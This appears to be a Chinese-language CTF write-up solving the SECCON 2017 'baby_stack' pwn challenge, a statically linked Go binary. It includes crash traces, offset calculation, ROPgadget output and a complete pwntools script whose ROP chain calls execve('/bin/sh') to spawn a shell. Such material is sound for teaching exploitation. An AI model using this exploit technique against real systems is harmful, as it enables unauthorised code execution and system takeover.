保护措施
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
就是一个输入输出的程序
# ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
Please tell me your name >> a
Give me your message >> b
Thank you, a!
msg : b
静态链接的,那么就不用libc了
# file ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
不过呢,是go语言编写的,输入比较长的字符给message后可以看到报错中有.go文件
./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
Please tell me your name >> a
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
panic: runtime error: growslice: cap out of range
goroutine 1 [running]:
panic(0x4e4800, 0xc82000a360)
/usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc82006cef8, 0x6161616161616161, 0x6161616161616161)
/usr/lib/go-1.6/src/fmt/format.go:130 +0x406
fmt.(*fmt).fmt_s(0xc82006cef8, 0x6161616161616161, 0x6161616161616161)
/usr/lib/go-1.6/src/fmt/format.go:322 +0x61
fmt.(*pp).fmtString(0xc82006cea0, 0x6161616161616161, 0x6161616161616161, 0xc800000073)
/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc
fmt.(*pp).printArg(0xc82006cea0, 0x4c1c00, 0xc82000a340, 0x73, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95
fmt.(*pp).doPrintf(0xc82006cea0, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2)
/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd
fmt.Fprintf(0x7fa1306231e8, 0xc820028010, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:188 +0x74
fmt.Printf(0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x20, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:197 +0x94
main.main()
/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e
这里有个坑就是你输入的字符串太长就像上面的,感觉没啥可利用的地方,假如你输入115个 你可以看到你可以控制复制的源地址和复制的大小,计算一下偏移就是104
# ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
Please tell me your name >> a
Give me your message >> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
unexpected fault address 0x0
fatal error: fault
[signal 0xb code=0x80 addr=0x0 pc=0x456551]
goroutine 1 [running]:
runtime.throw(0x507550, 0x5)
/usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003b5b8 sp=0xc82003b5a0
runtime.sigpanic()
/usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003b608 sp=0xc82003b5b8
runtime.memmove(0xc82008c00b, 0x6161616161616161, 0x616161)
/usr/lib/go-1.6/src/runtime/memmove_amd64.s:83 +0x91 fp=0xc82003b610 sp=0xc82003b608
fmt.(*fmt).padString(0xc82006cd58, 0x6161616161616161, 0x616161)
/usr/lib/go-1.6/src/fmt/format.go:130 +0x456 fp=0xc82003b730 sp=0xc82003b610
fmt.(*fmt).fmt_s(0xc82006cd58, 0x6161616161616161, 0x616161)
/usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc82003b760 sp=0xc82003b730
fmt.(*pp).fmtString(0xc82006cd00, 0x6161616161616161, 0x616161, 0xc800000073)
/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc82003b790 sp=0xc82003b760
fmt.(*pp).printArg(0xc82006cd00, 0x4c1c00, 0xc82000a340, 0x73, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc82003b918 sp=0xc82003b790
fmt.(*pp).doPrintf(0xc82006cd00, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2)
/usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc82003bca0 sp=0xc82003b918
fmt.Fprintf(0x7f7b5b4011e8, 0xc820028010, 0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc82003bce8 sp=0xc82003bca0
fmt.Printf(0x5220a0, 0x18, 0xc82003bea8, 0x2, 0x2, 0x20, 0x0, 0x0)
/usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc82003bd50 sp=0xc82003bce8
main.main()
/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc82003bf50 sp=0xc82003bd50
runtime.main()
/usr/lib/go-1.6/src/runtime/proc.go:188 +0x2b0 fp=0xc82003bfa0 sp=0xc82003bf50
runtime.goexit()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82003bfa8 sp=0xc82003bfa0
假如传入可读的地址和一个大小,我们就可以print出东西
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
p = process("baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8")
padding = "a" * 104
payload = padding + p64(0xc82003b608) + p64(8)
p.recvuntil("Please tell me your name >> ")
p.sendline("a")
p.recvuntil("Give me your message >> ")
p.sendline(payload)
p.interactive()
结果
python exp.py
[!] Could not find executable 'baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' in $PATH, using './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' instead
[+] Starting local process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8': pid 7346
[*] Switching to interactive mode
[*] Process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8' stopped with exit code 0 (pid 7346)
Thank you, V{E\x00\x00\x00\x00\x00!
msg : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[*] Got EOF while reading in interactive
$
可以看到,我们控制了第一个printf的输出,那么我们是不是可以通过加长控制第二个输出不产生异常,进而覆盖返回地址呢(注意重点是不产生异常)
通过70 80 90这样试,发现padding是80
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 70
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 80
payload = padding + p64(0xc82003b608) + p64(8) + "a" * 90
发现padding是80
最后gdb字符串定位
padding = "a" * 104
padding2 = "a" * 80
payload = padding + p64(0xc82003b608) + p64(8) + padding2 + p64(0xc82003b608) + p64(8) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b"
gdb查看
[-------------------------------------code-------------------------------------]
0x401454 <main.main+1108>: mov QWORD PTR [rsp+0x20],rbx
0x401459 <main.main+1113>: call 0x45ac40 <fmt.Printf>
0x40145e <main.main+1118>: add rsp,0x1f8
=> 0x401465 <main.main+1125>: ret
0x401466 <main.main+1126>: lea r8,[rbx+0x8]
0x40146a <main.main+1130>: mov QWORD PTR [rsp],r8
0x40146e <main.main+1134>: mov QWORD PTR [rsp+0x8],rax
0x401473 <main.main+1139>: call 0x40f330 <runtime.writebarrierptr>
[------------------------------------stack-------------------------------------]
0000| 0xc82003bf48 ("ZAAxAAyAAzA%%A%"...)
0008| 0xc82003bf50 ("AzA%%A%sA%BA%$A"...)
0016| 0xc82003bf58 ("A%BA%$A%nA%CA%-"...)
0024| 0xc82003bf60 ("nA%CA%-A%(A%DA%"...)
0032| 0xc82003bf68 ("%(A%DA%;A%)A%EA"...)
0040| 0xc82003bf70 ("A%)A%EA%aA%0A%F"...)
0048| 0xc82003bf78 ("aA%0A%FA%b")
0056| 0xc82003bf80 --> 0x6225 ('%b')
算偏移
pwndbg> x /gx 0xc82003bf48
0xc82003bf48: 0x417941417841415a
pwndbg> pattern_offset 0x417941417841415a
4717873834093527386 found at offset: 192
这静态编译的,没有导入表,使用系统调用吧,查了下程序中刚好有系统调用,64位是syscall,32位是int 0x80
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "syscall"
0x0000000000456889 : syscall ; ret
而64位下,execve的系统调用号为59,即0x3b
#define __NR_execve 59
查询可以到这,我之前记录了
http://blog.csdn.net/u012763794/article/details/78777938
接下来我们就构造rop,调用execve(“bin//sh”),传参的话是前三个参数在rdi,rsi和rdx
rdi的设置
首先设置rdi为bss首地址地址的组件
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdi"
0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret
往bss数据写入的组件
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "mov qword ptr \[rdi\]"
0x0000000000456499 : mov qword ptr [rdi], rax ; ret
给rax赋值
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rax ; ret"
0x00000000004016ea : pop rax ; ret
上面要设置rax为可读可写,选个0x58e100吧
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x4b1000 r-xp b1000 0 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
0x4b1000 0x58e000 r--p dd000 b1000 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
0x58e000 0x5a0000 rw-p 12000 18e000 /root/learn/SECCON2017/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
0x5a0000 0x5c0000 rw-p 20000 0 [heap]
0xc000000000 0xc000001000 rw-p 1000 0
0xc81fff8000 0xc820100000 rw-p 108000 0
0x7ffff7f2b000 0x7ffff7ffb000 rw-p d0000 0
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 0 [vvar]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
rsi和rdx要置0
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rsi"
0x000000000046defd : pop rsi ; ret
ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdx"
0x00000000004a247c : pop rdx ; or byte ptr [rax - 0x77], cl ; ret
最终payload
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = 'debug'
p = process("baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8")
padding = "a" * 104
padding2 = "a" * 80
padding3 = "a" * 192
# ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
# 0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret
# 0x0000000000456499 : mov qword ptr [rdi], rax ; ret
# 0x00000000004016ea : pop rax ; ret
# 0x000000000046defd : pop rsi ; ret
# 0x00000000004a247c : pop rdx ; or byte ptr [rax - 0x77], cl ; ret
# 0x0000000000456889 : syscall ; ret
pop_rdi_ret = 0x0000000000470931
mov_rdi_rax = 0x0000000000456499
pop_rax_ret = 0x00000000004016ea
pop_rsi_ret = 0x000000000046defd
pop_rdx_ret = 0x00000000004a247c
syscall_ret = 0x0000000000456889
wx_address = 0x58e100
bss_addr = 0x000000000059f920
bin_sh = "/bin/sh\x00"
# write bin_sh to bss_addr
rop_gadgets = ""
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(wx_address)
rop_gadgets += p64(pop_rdi_ret)
rop_gadgets += p64(bss_addr)
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += bin_sh
rop_gadgets += p64(mov_rdi_rax)
# left rsi = rdx = 0
rop_gadgets += p64(pop_rsi_ret)
rop_gadgets += p64(0)
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(wx_address)
rop_gadgets += p64(pop_rdx_ret)
rop_gadgets += p64(0)
# set syscall num: eax = 0x3b
rop_gadgets += p64(pop_rax_ret)
rop_gadgets += p64(0x3b)
# syscall
rop_gadgets += p64(syscall_ret)
payload = padding + p64(0xc82003b608) + p64(8) + padding2 + p64(0xc82003b608) + p64(8) + padding3 + rop_gadgets
p.recvuntil("Please tell me your name >> ")
p.sendline("a")
p.recvuntil("Give me your message >> ")
p.sendline(payload)
p.interactive()